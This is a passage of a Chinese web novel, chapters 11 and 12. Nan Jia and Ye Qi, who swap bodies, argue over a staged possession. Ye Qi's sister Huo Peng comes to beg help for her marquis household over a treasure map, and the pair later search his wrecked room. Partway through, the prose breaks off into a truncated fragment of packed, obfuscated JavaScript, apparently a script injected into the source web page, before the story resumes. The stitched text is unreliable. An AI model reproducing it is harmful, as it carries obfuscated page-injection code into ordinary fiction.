“你到底是谁?” 11.第 11 章 南嘉喘不上气来,拼命地用眼睛瞪他。 这个疯子! 不就是让他演了个戏,他发什么疯?再说他们救的可是霍家人,也包括他,并不止是她自己而已。 有这么过河拆桥的吗? 既然他不讲道理,她又何必遵循他们之间的狗屁约定。 “换!” 倾刻间身份互换,她在视角转移的瞬间松开掐着自己脖子的手,转而用刀对着现在的身体。“姓霍的,你给我听好了,不止是你可以随便杀死我,我也一样可以做到。” 夜炁缓缓地喘着气,冷冷地看着她,“怎么还不动手?” “我想做个明白鬼?刚才我是在救你的家人,对吧?我让你扮演被重光太子附身,也是为了这个,你为何要杀我?难道是怪我亵渎了重光太子吗?” 外面的人劫后余生,全都脱力坐在地上,哪怕是最讲究的霍明珠,此时也顾不上许多,没什么仪态地软着。 赵氏和闫怀安一脸严肃,齐齐面向庙内。 沈氏受了惊吓,又满腹怀疑,小声问,“姐姐,方才真是太子殿下附身吗?” 赵氏没有回答她,注意力全在庙内。 而此时的夜炁,正在问南嘉,“你不知道?” 南嘉越想越气,气自己多事,气这人不讲道理。真要惹急了她,大不了一死百了,那些金子谁也别想得到。 “我知道什么?你莫名其妙就要杀我,我还问你呢。” 原来不知道。 夜炁气势一收,看上去缓和了许多。 “刚才若不是你多事,我一样有法子对付他们。” “那你说说看,你有什么办法。”南嘉还就不信了,他真有办法。 他眸光骤暗,吐出三个字,“藏金图。” 这时远处似有马蹄声传来,外面的人明显有了惊慌之意,沈氏也顾不上许多,冲庙内大喊,“让儿,又有人来了!” “今晚可真热闹。”夜炁的声音中听不出任何的情绪,仿佛在说今天天气真好之类的寻常事,甚至隐约还一种不出所料的戏谑之意。 南嘉却是将心提了起来,道:“刚才是你不守信用在先,所以我决定不听你的。以后换与不换,不是你说了算。” 她本以为对方必定不会同意,没想到夜炁居然没有反对,“行,那以后我们商量着来。” 这王八蛋不会又想耍什么花招吧? 那马蹄已到近前,很快停在破庙前,不多会儿她听到赵氏惊喜的声音,“鹏儿!” 来人正是她的大女儿霍鹏。 霍鹏的长相有七分像她,看到她如今的情形连侯府的下等的仆妇还不如,再思及自己的处境,本就红肿的眼睛更是立马盈满水汽,难免悲从中来。 “娘,娘,您怎么变成这样了?” “鹏儿,不是让你别来吗?你怎么还是来了?” 赵氏紧紧拉着女儿的手,母女俩抱头痛哭。哭了一会儿,霍鹏含着泪向霍鹂招手,霍鹂与她们抱在一起,又是好一顿哭。 闫怀安朝庙内喊,“殿下,我们可以进来吗?” 霍鹏听到殿下二字,吓了一大跳,“娘,什么殿下?” 这时庙中传来南嘉的声音,“你们进来吧。” 众人进到庙中,南嘉对他们说:“方才是我们合演的一出戏。” “一出戏?”赵氏抹着眼睛,喃喃,“我明明觉得是殿下回来了,让儿……你刚才是怎么一回事?” 夜炁半垂着眸子,淡淡地道:“我先前忘了告诉你们,我昏迷之际,不仅被先祖和父亲教诲过,还见过先太子,从他那里知道许多事。” 所有人都觉得这才合理,否则什么神灵附身之类的事,也太过诡异。 赵氏和霍鹏说起这事时,听得霍鹏是不停地倒吸凉气。惊疑的目光不停往南嘉身上看,满是打量之色。 南嘉由她看着,上前将刀还给闫怀安。 闫怀安收了刀,有些怀疑地看了夜炁一眼。 刚才真的不是重光太子上身吗? 这时只听到霍鹏哭出声来,作势要跪下,“娘,求求您救救侯府!” 所有人大惊,赵氏连忙扶她,忙问道:“鹏儿,你这是怎么了?发生了什么事?你起来你慢慢说。” 霍鹏一直哭,她是国公府的嫡长女,嫁的是侯府的世子爷,不知让多少人眼红。自娘家出事以来,公婆倒是没说什么,妯娌们明里暗里可没少指责她。 等她止了泪,情绪平复些,这才将事情一一道来。 “娘,陛下恼那日我公公为大弟求情,他已经下旨,若你们五日后交不出藏金图,我们侯府也要被抄家流放。” 原来还是为了那些金子。 南嘉不无遗憾地想着,照这么看来她短时间内很难用空间给自己谋取任何的福利,那她要这金手指有何用? 霍鹏哭,赵氏也哭,霍鹂也跟着哭。 其余人的脸色也不好看,沈氏刚见到霍鹏时,还当她是来帮他们的,没想到竟然还有求于他们。 所有人的目光都下意识往一个地方看,那是夜炁所在。 赵氏到底心疼女儿,为难地开口,“鹏儿,这事你还得问你大弟。” “大弟。”霍鹏擦了擦眼泪朝夜炁走去,然后哭得更大声,“你……你……还好吧?” 她身为国公府的嫡长女,满月后就被霍太夫人抱到身边抚养。霍太夫人重长重嫡,等到大孙子出生时,也一样养在自己膝下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不会有事,你照我说的做,让李厚明日午时之前来接我们,过时不候。” 霍家人是戴罪流放之身,差役还肩负着如期将他们送到北地的责任,倘若耽搁久了,再大的人情也敌不过法度。半日的时间倒是合适,便是闫怀安也没说什么。 霍鹏来的目的已经达到,生怕误了时辰,着急忙慌告辞时,忽地想到什么,“大弟,你刚说接你们,你……” “我行动不便,身边需有照料之人。” 夜炁的目光越过所有人,看向南嘉。 “就她吧。” 12.第 12 章 霍鹏一开始并没怎么在意她,如今她被夜炁亲自点名,这才认真多看了她两眼。 “她是林家的那个庶女?” 她在林家行二,但整个京都的人大多只知林家有个嫡女,且是唯一的嫡女,没有多少人知道林家还有个庶女,也是仅有的庶女。 “我叫林南嘉。”别人庶女庶女的叫她,她总得让人家知道自己有名有姓。 霍鹏自是看不上她的出身,也不太喜欢她过于娇媚的长相,若是放在从前,怕是话都不会和她说。然而如今霍家落到这步田地,哪里还有什么资格计较别人。 侯府还等着夜炁去解困,人是夜炁占名要的,不管是因为什么原因,在这样的情形之下,霍鹏都会给这个面子。 “那行。” “行什么行?” 沈氏憋了老半天,一颗心上上下下起起落落的,等听到大儿子有法子时,她满心想的都是他们霍家是不是也能借机回去。再听大儿子想要个在身边照料的人,她第一个想到的就是自己。 “她一个外人,哪里有我这亲娘尽心。让儿,就让娘陪你一起回京吧。” 这流放的路她实是不想再走,哪怕是能躲几懒,回京中享几日福也是好的。何况她还有自己的小心思,真要找到藏金图她可不想便宜侯府。若是他们直接献给陛下,说不定还能有转机。 “让儿,我可是你亲娘。” 她不说这句还好,一说完后就觉得不太对,后背凉嗖嗖的,头皮莫名其妙地发麻,浑身一个冷战后,冷汗都冒了出来。 正坐立难安之时,听到夜炁道:“她是林家女,林家还在京中,有她在,很多事也能方便许多。若是换了旁人,怕是帮不上什么忙。” 所有人都觉得这话有道理,当务之急还是以大事为重。别说是沈氏一个妾室,就算是赵氏跟去也不抵什么用。 赵氏一锤定音:“听让儿的。” 事情一定下,霍鹏再不敢耽搁,赶紧离开。 沈氏耷拉着面皮,撇了撇嘴,“这个大姐儿,真是越发的不懂事。家里出事不露面也就算了,这求人也不带些东西,竟是空着手来的。” 若是别的事,赵氏必有一百句顶回去,但这事还真是理亏的紧。 他们这大家子是什么光景,不说是给他们带些吃的用的,那也该给差役们一些好处,以求他们能得到照顾。 大女儿自小不养在她身边,到底不如其他几个女儿贴心。许是连日走路太过劳累,也许是心气一松,整个人竟有些站不住。 南嘉伸手将她托住,同霍鹂一同将她扶过去坐下。 霍鹂去给她端粥时,她紧紧抓着南嘉的手,低声无力地交待,“难为你了。无论这事成与不成,霍家都不能再连累你。你到了京中后给你家中去信,让他们想办法救你。” 但凡林家有一个心疼林南嘉的人,也不会把“她”送到霍家。 这话南嘉不能说,也没办法说。 赵氏几次提醒自己摆脱霍家,虽说没帮上什么实质性的忙,却有人情在。哪怕是冲着这份人情,自己也应该回报一二。 “老夫人,您的话我记下了。我们这一去,不管事情成与不成,陛下应该都不会放过霍家。我实在担心您,这一路吃不好睡不好,您怎么能受得了?” “你……”赵氏面露动容之色,“我还受得住,你不用担心。” 南嘉隐晦地环顾所有人后,低声道:“老夫人,我方才无意间在那泥相后面的洞中寻得一物。” 说话的当口,她从空间取出一块金子,用袖子掩着露出一角给赵氏看。 赵氏身为国公府的主母,什么样的好东西没见过,若是往常哪里瞧着上这点东西。然而此一时彼一时,眼下别说是一块金子,就是半个铜板她也拿不出来。 “你快收好,莫要被别人看到。” “老夫人,我年轻不经事,怕露了形迹让别人看出来,还是交给你保管的好。” “这不成。”赵氏摇头,“东西是你找到的,就是你的,你自己好生收着便是。” 南嘉将金子往赵氏袖子里一塞,“老夫人,您别急着拒绝,您听我说。您是长辈,我相信您。我瞧着那王家婶子是个心地善良的,她是自由身,可随意走动,采买东西也方便。您私下打点她一二,她定会照应我们。” 话说到这个份上,赵氏已然动心,这两日她虽不说,却实在是苦不堪言。她牢牢攥住那块金子,仿佛握紧希望和底气。 “那我就腆着脸收着,倘若霍家将来还有翻身的一日,我必报此恩。” * 翌日。 辰时还未到,建宁侯府人就到了。 领头的人正是李厚,李厚见着他们,除了问安再无其它的话,那满脸的歉意最后化成两个字:“惭愧。” 李家先祖是霍家先祖的部将,两家虽说早无主从关系,但百年来李家一 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然而短短几日不见,哪里还有什么景致可言。满是倒地苍松翠竹,假山分崩离析,亭台已是一堆碎石,地皮全都被翻过,一坑接着一坑,说是被人掘地三尺亦不为过。 霍让的房间应是被翻过无数遍,地板全被挖开,一地的珐琅瓷碎片。玻璃镜倒在地上,镜面裂成无数形状各异的碎块。 她从那些碎镜上看到夜炁的脸,冷漠、威严、隐忍,让人不寒而栗。 再往里走,床幔被褥和衣物扔得到处都是,柜子床具皆是错着位,想来那些翻找的人极其的仔细,没有放过任何一个角落。 床头的暗格已被人打开,里面有一个锦盒。 锦盒内空无一物,夜炁看着锦盒好半天没有言语。 南嘉暗忖着,难道那石头原本就放在这锦盒中?但这人不是把石头拿出来了吗?莫非是忘了? 她退后两步,假装帮忙翻找。 心不在焉地扒拉着,不成想从一堆随意丢弃的男子衣物中扯出一件绿色的衣裙。衣裙用料上乘,哪怕是脏了些也不改其华美的本质,且看上去还是新的。 夜炁沉着脸转身,看到她手中的裙子,皱了皱眉。 她赶紧将裙子放到一边,装作满心期待的样子问:“石头找到了吗?”